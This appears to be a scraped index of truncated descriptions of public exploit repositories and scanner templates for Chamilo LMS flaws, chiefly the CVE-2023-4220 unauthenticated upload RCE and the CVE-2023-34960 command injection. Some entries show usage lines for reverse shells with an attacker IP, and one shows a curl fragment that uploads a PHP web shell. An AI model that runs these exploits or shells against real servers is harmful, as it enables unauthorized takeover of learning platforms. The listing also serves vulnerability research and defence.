CVE-2023-34960

ChamiloCVE-2023-34960-EXP Help: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional...

chamilo-lms-unauthenticated-rce-poc

Chamilo LMS Unauthenticated RCE PoC This is a script written in Python that allows the exploitation of the Chamilo's LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24. Usage Clone the repository to your machine and install the dependenci...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS Unauthenticated Big Upload File RCE PoC This script allows the exploitation of the Chamilo's LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24. Usage Clone the repository to your machine and install the dependencies using pip...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit The CVE-2023-4220 vulnerability is a file upload vulnerability affecting Chamilo versions = 1.11.24. This vulnerability allows an attacker to achieve remote command execution by uploading a webshell via the path /main/inc/lib/javascript/bigupload/inc/bigUpload.php,...

CVE-2023-4220

CVE-2023-4220 Exploit Chamilo LMS Unauthenticated Big Upload File Remote Code Execution Usage cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.ht...

CVE-2023-4220

Proof of concept exploit for CVE-2023-4220 Affected product : Chamilo = 1.11.24 This CVE abuses an unauthenticated file upload vulnerability in Chamilo 1.11.24 and lower. An attacker has the ability to upload PHP files with no restrictions, leading to RCE. How to use root@kitploit: python3...

CVE-2023-4220

CVE-2023-4220 PoC Chamilo LMS Unauthenticated Big Upload File RCE This repository contains a Proof of Concept PoC for CVE-2023-4220 , a Remote Code Execution RCE vulnerability affecting Chamilo LMS. This vulnerability allows unauthenticated attackers to exploit a large file upload feature, leadin...

Chamilo-LMS-CVE-2023-4220-Exploit

Chamilo LMS CVE-2023-4220 Exploit Overview This script exploits a Remote Code Execution RCE vulnerability in Chamilo LMS versions ≤ v1.11.24. The vulnerability CVE-2023-4220 exists due to unrestricted file upload functionality in the bigUpload.php feature of Chamilo LMS, which allows attackers to...

CVE-2023-4226

🛠️ Chamilo LMS용 CVE-2023-4226 악용 📋 설명 CVE-2023-4226 악용을 자동화하는 Python 스크립트로, Chamilo LMS = v1.11.24의 무제한 파일 업로드 취약점입니다. PentesterMonkey 기반 PHP 웹 셸을 업로드하고 .htaccess를 구성하여 리버스 셸 을 획득합니다. 자세한 내용: STAR Labs 권고. 🔍 취약점 제품 : Chamilo LMS 심각도 : 높음 CVSS 3.1: 8.8 영향받는 버전 : = v1.11.24 설명 : 학습자 역할을 가진 사용자는...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

CVE-2023-4220

RCE for Chamilo LMS CVE-2023-4220 Using a Web Shell This project automates the exploitation of the remote code execution vulnerability CVE-2023-4220 found in Chamilo LMS. Using a web shell, the tool facilitates the automated exploitation of the vulnerability to gain control over affected Chamilo...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Summary Starlabs advisory Affected product: Chamilo , -p --port REMOTE PORT -c --comand Flags for reverse shell -lh/--localhost: Attacker IP -lp/--localtcat listener port...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Chamilo-LMS-Unauthenticated-File-Upload- Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via...

CVE-2023-4220-exploit

CVE-2023-4220-exploit Chamilo LMS バージョン = 1.11.24 の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大容量ファイルアップロード機能の無制限なファイルアップロードにより、認証されていない攻撃者が格納型クロスサイトスクリプティング攻撃を実行し、Webシェルをアップロードすることでリモートコード実行を取得できます。 PoC root@kitploit: bash CVE.2023-4220.sh -f webshell -u URL -l puerto...

CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 Python exploit for Chamilo Unrestricted File Upload Vuln - CVE-2023-4220 The code contained within the repository is meant for educational purposes only. Description: Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit Это эксплойт для неограниченной загрузки файлов в функции большой загрузки файлов в Chamilo-LMS по пути /main/inc/lib/javascript/bigupload/inc/bigUpload.php в Chamilo LMS = v1.11.24. Злоумышленники могут получить удаленное выполнение кода через загрузку веб-шелла...

Chamilo model.ajax.php - SQL Injection

main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter. id: CVE-2021-34187 info: name: Chamilo model.ajax.php - SQL Injection author: DhiyaneshDK severity: critical description: | main/inc/ajax/model.ajax.php in Chamilo...

Chamilo LMS <= v1.11.20 Unauthenticated Command Injection

Command injection in /main/webservices/additionalwebservices.php in Chamilo LMS = v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. id: CVE-2023-3368 info: name: Chamilo LMS = v1.11.20 Unauthenticated Command Injection...

Chamilo Command Injection

A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11. up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical...

CVE-2023-34960

CVE-2023-34960 Инъекция команд в Chamilo с автоматической загрузкой оболочки. используйте свою логику проверьте путь к каталогу в результате уязвимости, затем вы сможете найти свои оболочки доступа wso.php Установка и запуск root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $...